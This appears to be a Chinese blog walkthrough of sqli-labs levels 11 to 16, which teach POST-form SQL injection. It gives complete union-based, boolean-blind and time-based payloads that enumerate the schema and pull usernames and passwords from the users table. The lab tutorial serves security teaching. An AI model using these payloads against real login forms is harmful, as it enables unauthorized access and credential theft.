sqli-labs靶场详解(less11-less16)

目录

less-11

less-12

less-13

less-14

less-15

less-16


提交参数后 动态参数不存在url中 存在于post表单中 于是在表单中进行注入点测试


先看一看这种提交数据的关卡输入提交后会有什么反应

uname=admin&passwd=admin&submit=Submit

输出 username=admin password=admin

uname=123&passwd=123&submit=Submit

无输出

uname=1234&passwd=123456&submit=Submit

无输出

可以判定 这种关卡的原理就是 输出账号密码 服务器使用sql语言根据提交的账号以及密码作为条件去数据库中查找相关数据 如果查询出来了返回数据表中存放的账号密码 也就是我们输入的账号密码 并且显示成功登录

题型类似

这种题就是给你一个登录的条件 (因为你登录的账号密码参数会被服务器使用sql语言到数据库中进行操作 无论什么操作 他都需要获取你的参数到数据库中进行执行,只要是执行了 并且没有对参数进行过滤 那就很容易造成 sql注入)

自己账号密码是已知的  假设这是一个网站 你通过自己的账号密码登录上去了 你发现你的账号密码参数的位置存在注入点  

每关的注入方式采用最经典的方式 

只要有报错输出到页面的都可以使用报错注入 特别简单不给演示 

请看 >> SQL-报错注入


less-11

判断注入点

uname=admin' 成功登录

uname=admin'  报错  to use near 'admin'

uname=admin' and '1'='1'# 成功

这一点也就是简单的密码绕过 

后端是根据用户名和密码同时作为条件去查询并输出的

但是使用了#直接把密码的值给注释了 也就是相当于 只输入一个账号就能查询到 该账号的账号和密码

uname=admin'# 成功登录

uname=admin' and '1'='2'# 无输出

从而判断出该注入点为 POST字符型注入点

注意

在post表单注入的时 构造sql语句的注释符最好使用# 否则容易出错 -- --+

注入操作

# 判断当前表的列数 得出当前表有3列
#查看显示位
uname=admin' and 1=1 order by 1 # 成功
uname=admin' and 1=1 order by 2 # 成功
uname=admin' and 1=1 order by 3 # 报错
在这解释一下同一个数据库的数据表 为什么之前都是4列报错 这就3列报错了 
因为数据表的确有3列 之前不报错的原因是 前几关服务器的查询语句是select * from
但是在这关开始 服务器的查询语句是 select username,password from 
#查看显示位 得知查找的结果全部显示出来了 显示位为1,2号
uname=admin' and 1=2 union select 1,2# 
#查看当前数据库
uname=admisn' and 1=2 union select database(),2#  在1号位的位置输出了当前数据库名
uname=admi11n' and 1=2 union select database(),2# 这个也能看出来根本不需要正确的账号也能进行sql注入
#查看当前数据库所有表 
uname=adsssmin' and 1=2 union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),2#
#查看某表的字段名
uname=admssin' and 1=2 union select (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),2#
#查看字段值
uname=admsadin' and 1=2 union select (select concat_ws(',',id,username,password) from security.users limit 0,1),2#

less-12

判断注入点

uname=admin 成功

uname=admin' 无输出并显示登录失败

uname=admin'asdasdzxc# 无输出 并显示登录失败

uname=admin and 1=1# 无输出 并显示登录失败

通过以上 大概就能判断出这个一个字符型注入点  但是对参数的处理并不是使用单引号 

uname=admin\ 报错:to use near 'admin")

通过这一点 确定这是一个字符注入点 对参数的处理方式为双引号 外加一个括号

服务器参数的形式为 ("$id")

注入操作

# 判断当前表的列数 得出当前表有3列
#查看显示位
uname=admin") and 1=1 order by 1 # 成功
uname=admin") and 1=1 order by 2 # 成功
uname=admin") and 1=1 order by 3 # 报错
在这解释一下同一个数据库的数据表 为什么之前都是4列报错 这就3列报错了 
因为数据表的确有3列 之前不报错的原因是 前几关服务器的查询语句是select * from
但是在这关开始 服务器的查询语句是 select username,password from 
#查看显示位 得知查找的结果全部显示出来了 显示位为1,2号
uname=admssin") and 1=2 union select 1,2#
#查看当前数据库
uname=admdasdain") and 1=2 union select database(),2#  在1号位的位置输出了当前数据库名
#查看当前数据库所有表 
uname=adzcxzsmin") and 1=2 union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),2#
#查看某表的字段名
uname=adasdamin") and 1=2 union select (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),2#
#查看字段值
uname=admin") and 1=2 union select (select concat_ws(',',id,username,password) from security.users limit 0,1),2#

less-13

判断注入点

uname=admin 无输出 但显示登录成功

uname=123213123 无输出 登录失败

通过以上可以推测出 不显示任何信息值 只告诉你是否登录成功 只能采用布尔注入的方式

登陆成功:服务器SQL语句查询到结果 判定查询为TRUE状态

登录失败:服务器SQL语句没有查询到结果 判定查询为FALSE状态

uname=admin' 报错:to use near 'admin')

通过报错推测出 该注入点为POST字符型服务器对参数的处理形式为使用单引号加上括号

服务器参数的形式为 ('$id')

以上推断出该关卡是用布尔盲注的方法进行注入

我一开始采用的是盲注的方式 最后发现这题是布尔注入的方式 两种方式都可以

注入操作

盲注

#推断数据库长度
uname=admin') and if(length(database())>0,sleep(2),1)# 有延时
为什么会显示登录失败 因为sleep的返回值是0
#推断当前数据库
uname=admin') and if (ascii(substr(database(),1,1))>0,sleep(2),1)# 有延时
#推断当前数据库所有表 
uname=admin') and if (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0,sleep(2),1)# 有延时
#查看某表的字段名
uname=admin') and if (ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>0,sleep(2),1)# 有延时
#查看字段值
uname=admin') and if (ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>67,sleep(2),1)#

布尔注入

#推断数据库长度
uname=admin') and length(database())>0#  显示成功
uname=admin') and length(database())>10# 显示失败
#推断当前数据库 
uname=admin') and ascii(substr(database(),1,1))>0# 显示登录成功
uname=admin') and ascii(substr(database(),1,1))>1000# 显示登录失败
#推断当前数据库所有表 
uname=admin') and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0#     显示登录成功
uname=admin') and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>10000# 显示登录失败
#查看某表的字段名
uname=admin') and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>0# 显示登录成功
uname=admin') and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>1000# 显示登录失败
#查看字段值
uname=admin') and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>68# 显示登录失败
uname=admin') and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>67# 显示登录成功

less-14

判断注入点(这是最详细的判断过程)

uname=admin 无返回结果 登录成功

uname=admin' 无返回结果 登录失败

第二个语句无报错 可能有两种情况

①服务器不让错误信息输出出来  参数可能是整型也有可能是字符型(形式为单引号)

②参数是字符型的 服务器对参数的处理方式没有使用单引号

uname=admin' # 无返回结果 登录失败

推断(这个推断没什么用)只是排除了 服务器不让错误信息输出出来 参数是单引号字符型

参数如果是字符 没有使用单引号

参数如果是整型 服务器不让错误信息显示出来

继续尝试

假定参数为整型

uname=admin and 1=1 无任何显示 登录失败

确定参数不为整型

只有一种结果了

参数是字符 没有使用单引号

于是

uname=admin\ 报错:'admin"

确定 服务区对参数的处理是双引号

uname=admin" and 1=1 # 成功

uname=admin" and 1=2 # 失败

使用布尔注入的方式

注入操作

#推断数据库长度
uname=admin" and length(database())>0#  显示成功
uname=admin" and length(database())>10# 显示失败
#推断当前数据库 
uname=admin" and ascii(substr(database(),1,1))>0# 显示登录成功
uname=admin" and ascii(substr(database(),1,1))>1000# 显示登录失败
#推断当前数据库所有表 
uname=admin" and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0#     显示登录成功
uname=admin" and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>10000# 显示登录失败
#查看某表的字段名
uname=admin" and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>0# 显示登录成功
uname=admin" and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>1000# 显示登录失败
#查看字段值
uname=admin" and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>68# 显示登录失败
uname=admin" and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>67# 显示登录成功

less-15

判断注入点

uname=admin 无返回结果 登录成功

uname=qwe123    无返回结果 登录失败

uname=admin' 无返回结果 登录失败

uname=admin and 1=1 无返回结果 登录失败

uname=admin' and '1'='1 无返回结果 登录成功、

通过以上推理可以判定

①单引号字符型注入

②对错误不输出

③使用布尔型注入

注入操作

#推断数据库长度
uname=admin' and length(database())>0#  显示成功
uname=admin' and length(database())>10# 显示失败
#推断当前数据库 
uname=admin' and ascii(substr(database(),1,1))>0# 显示登录成功
uname=admin' and ascii(substr(database(),1,1))>1000# 显示登录失败
#推断当前数据库所有表 
uname=admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0#     显示登录成功
uname=admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>10000# 显示登录失败
#查看某表的字段名
uname=admin' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>0# 显示登录成功
uname=admin' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>1000# 显示登录失败
#查看字段值
uname=admin' and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>68# 显示登录失败
uname=admin' and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>67# 显示登录成功


less-16

判断注入点

uname=admin 无返回结果 登录成功

uname=12313123 无返回结果 登录失败

uname=admin' 无返回结果 登录失败

uname=admin\ 无返回结果 登录失败

uname=admin and 1=1 无返回结果 登录失败

uname=admin' and '1'='1 无返回结果 登录失败

通过以上判断出 

①对错误不输出

②不是整型也不是单引号形式的字符型注入点

③只能是以其他形式的字符注入点

uname=admin") # 登录成功

以上推断出这是一个布尔型注入点

注入操作

#推断数据库长度
uname=admin") and length(database())>0#  显示成功
uname=admin") and length(database())>10# 显示失败
#推断当前数据库 
uname=admin") and ascii(substr(database(),1,1))>0# 显示登录成功
uname=admin") and ascii(substr(database(),1,1))>1000# 显示登录失败
#推断当前数据库所有表 
uname=admin") and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0#     显示登录成功
uname=admin") and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>10000# 显示登录失败
#查看某表的字段名
uname=admin") and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>0# 显示登录成功
uname=admin") and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>1000# 显示登录失败
#查看字段值
uname=admin") and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>68# 显示登录失败
uname=admin") and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>67# 显示登录成功

前十六关不需要分析代码 就是最基础的

less1-less10 为GET基础型注入 

less11-less16 为POST基础性注入 

前十六关代码每关的区别

①服务器对参数的处理方式

②对语句查询出的结果进行处理  可能是输出到页面 可能会给你提示 可能不输出 都是最基础的if else语句 不需要分析

注意点

如果采用联合查询的方式 username的值瞎写都行

如果使用盲注的方式 username必须是准确值

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/195133.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

mongodb查询数据库集合的基础命令

基础命令 输入show dbs 命令,查看数据库 db查看当前正处在哪个数据库 创建或进入要使用的数据库,命令:use 数据库名字 刚创建的数据库数据库名字 并不在数据库的列表中, 要显示它,我们需要向 数据库名字 数据库插…

MFC哈希实现 目标:知道初始密码的人,才能改密码及登录。只知道登录密码只能登录。避免密码直接写在代码里或本地,通过软件评估报告。----安全行业基础5

一种简单的登录设计,密码保存在本地。(直接MD5不安全,别人可以更换本地的密码,得再加一层算法就相对安全一点) 当然也可以用加密机或专门存密码的系统来实现,就过于复杂。目标:1、为了避免密码直接写在代码…

使用shell快速查看电脑曾经连接过的WiFi密码

此方法只能查看以前连接过的wifi名称和对应的密码 查看连接过的WiFi名称netsh wlan show profiles查看具体的WiFi名称netsh wlan show profile name"你的wifi名称" keyclear

plt绘制表格

目录 1、绘制简单表格 2、将字体居中 3、为每个表格添加背景 4、添加透明度 5、不显示表格标题 6、将pandas的表格列转行显示 7、关闭表格边框 8、设置表格长宽、字体大小 9、利用色系指定表格颜色 10、修改字体颜色、边框粗细 1、绘制简单表格 import pandas as pd…

「阿里巴巴」裁撤量子实验室!

据内部消息,阿里巴巴达摩院由于预算及盈利等原因,已经撤裁旗下量子实验室。此次,共计裁减30余人。 达摩院官网已撤下量子实验室的相关介绍页面。上图:早先关于量子实验室的相关介绍;下图:现在达摩院官网“实…

十分钟搭建VScode C/C++运行环境

一、下载配置vscode 1.下载安装VScode 地址:https://code.visualstudio.com/download 下载后,运行安装程序 (VSCodeUserSetup-{version}.exe)。这只需要一分钟。安装程序会将 Visual Studio Code 添加到环境变量中%,可以使用CMD键入“code”…

主播直播表现力

主播表现力:全面提升你的直播效果 一、语言表达 主播的语言表达是直播的关键。优秀的语言表达能够让观众感到亲切和舒适,增加观众的参与度和忠诚度。以下是一些提升语言表达的建议: 1.清晰简洁:尽量使用简单易懂的词汇和句子结构,避免过于复杂的表达。…

C#实体类与XML互转以及List和DataTable转XML的使用

引言 在C#开发中,数据的存储和传输是非常常见的需求。使用XML作为数据格式有很多优点,例如可读性强、易于解析等。而实体类、List和DataTable是表示数据模型的常用方式。本文将介绍如何在C#中实现实体类、List和DataTable与XML之间的相互转换&#xff0c…

好用的样式动画库集合(css、js)

文章目录 前言一、Animate.css二、Anime.js三、CSShake四、Hover.css五、AniJS六、Animista七、Tachyons-animate八、Sequence.js九、Infinite十、OBNOXIOUS.CSS十一、MOTION UI十二、Keyframes.app十三、AnimXYZ十四、Whirl十五、Hamburgers十六、Vivify十七、Magic Animation…

【2021研电赛】智能胸外按压电除颤一体仪

本作品介绍参与极术社区的有奖征集|分享研电赛作品扩大影响力,更有重磅电子产品免费领取! 团队介绍 参赛单位:上海理工大学 参赛队伍:上理电感队 指导老师:闫士举 参赛队员:夏鹏、李宪龙、张涛 获奖情况:…

有一种浪漫,叫接触Linux

大家好,我是五月。 嵌入式开发 嵌入式开发产品必须依赖硬件和软件。 硬件一般使用51单片机,STM32、ARM,做成的产品以平板,手机,智能机器人,智能小车居多。 软件用的当然是以linux系统为蓝本&#xff0c…

7.5 Windows驱动开发:监控Register注册表回调

在笔者前一篇文章《内核枚举Registry注册表回调》中实现了对注册表的枚举,本章将实现对注册表的监控,不同于32位系统在64位系统中,微软为我们提供了两个针对注册表的专用内核监控函数,通过这两个函数可以在不劫持内核API的前提下实…

Linux 命令ln

1什么是链接 ln在Linux中 ln 命令的功能是为某一个文件在另外一个位置建立一个同步的链接,当我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我们只要在某个固定的目录&#xff0…

解析和存储优化的批量爬虫采集策略

如果你正在进行批量爬虫采集工作,并且想要优化解析和存储过程,提高采集效率和稳定性,那么本文将为你介绍一些实用的策略和技巧。解析和存储是批量爬虫采集中不可忽视的重要环节,其效率和质量对整个采集系统的性能至关重要。在下面…

笔记十九*、选中高亮和嵌套路由使用

19.1 选中高亮 NavLink App.jsx import React from "react"; import {NavLink, useRoutes} from "react-router-dom"; import routes from "./routes/index.jsx"; import "./app.css"const App () > {const element useRoutes(…

「Verilog学习笔记」整数倍数据位宽转换8to16

专栏前言 本专栏的内容主要是记录本人学习Verilog过程中的一些知识点,刷题网站用的是牛客网 根据时序图,数据是在第二个数据到来之后输出,当仅有一个数据到来时,不产生输出,所以内部需要一个指示信号valid_cnt&#xf…

31.0/LinkedList/Set/ashSet/ TreeSet/Map/ HashMap/ TreeMap

目录 31.1Linkedlist 31.2Set集合 31.3HashSet集合 31.4添加元素 31.5删除 31.6hashSet的遍历 31.7hashSet的源码 31.8TreeSet集合。 31.1Linkedlist 1.凡是查询源码 ,我们都是从类的构造方法入手:/*** Constructs an empty list.*/public LinkedList() {}该…

打破限制!MySQL 5.7至8.0跨版本迁移,1分钟搞定多版本数据迁移

在上个月,MySQL 5.7 正式结束了生命周期,即EOL(End of Life),意味着Oracle将不再为 MySQL 5.7 提供技术支持,包括Bug修复或安全漏洞,大大增加了使用数据库的风险。在全球关系型数据库市场中&…

企企通相继出席首届百家新锐企业融通创新交流会与采购数字化创新沙龙,持续深化数字赋能

近期,企企通受邀分别参加了广州、上海业界重磅活动,针对新形势下企业数字化采购升级的新技术与新思路、产业链上下游协同发展等进行探讨,赋能数字化信息技术产业生态发展,并对各方主体如何协作共赢助推企业数字化发展建言献策。 0…

五周年活动周历!AutoGen解析·技术畅聊·3大城市工坊本周启动!

飞桨星河社区在成立的5年以来,已汇集660万AI开发者,覆盖深度学习初学者、在职开发者、企业开发者、高校教师、创业者等,已成为AI领域最具影响力的社区之一,无论是AI爱好者还是AI开发者,都能在这里探索AI的无限可能。 …